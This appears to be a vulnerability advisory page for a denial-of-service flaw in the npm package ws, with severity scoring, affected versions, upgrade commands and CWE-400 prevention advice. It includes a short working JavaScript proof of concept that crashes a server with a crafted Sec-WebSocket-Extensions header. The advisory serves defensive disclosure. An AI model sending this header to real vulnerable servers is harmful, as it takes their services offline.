GHSA-5v72-xg48-5rpm
Denial of Service in ws
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- —
- No score published
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-400 Uncontrolled Resource Consumption
- Fix
3.3.1- Upgrade ws to this version or later
Description
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
Proof of concept
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Recommendation
Update to version 3.3.1 or later.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| ws | >= 2.0.0, < 3.3.1 |
3.3.1 |
| ws | >= 0.6.0, < 1.1.5 |
1.1.5 |
| ws | >= 0.6.0, < 1.1.5 |
1.1.5 |
| ws | >= 2.0.0, < 3.3.1 |
3.3.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
ws npm → 3.3.1
- npm
npm install ws@3.3.1- yarn
yarn add ws@3.3.1- pnpm
pnpm add ws@3.3.1
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
References
Advisories
Fixes and patches
Packages
Other links
Timeline
- Published
- Last updated by the source
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-96hv-2xvq-fx4p ws: Memory exhaustion DoS from tiny fragments and data chunks | High | Also affects ws |
| GHSA-58qx-3vcg-4xpx ws: Uninitialized memory disclosure | High | Also affects ws |
| GHSA-3h5v-q93c-6h6q ws affected by a DoS when handling a request with many HTTP headers | High | Also affects ws |
| GHSA-6fc8-4gx4-v693 ReDoS in Sec-Websocket-Protocol header | Medium | Also affects ws |
| GHSA-6663-c963-2gqg DoS due to excessively large websocket message in ws | High | Also affects ws |
| GHSA-2mhh-w6q8-5hxw Remote Memory Disclosure in ws | Low | Also affects ws |
| GHSA-cggf-277g-3q54 pypdf has possible large memory usage when parsing page tree | High | Same weakness, CWE-400 |
| GHSA-3g3m-2fjr-6pw4 Glob: AbortSignal cancellation bypass allows post-timeout filesystem traversal | Medium | Same weakness, CWE-400 |
Credits: RainSignal
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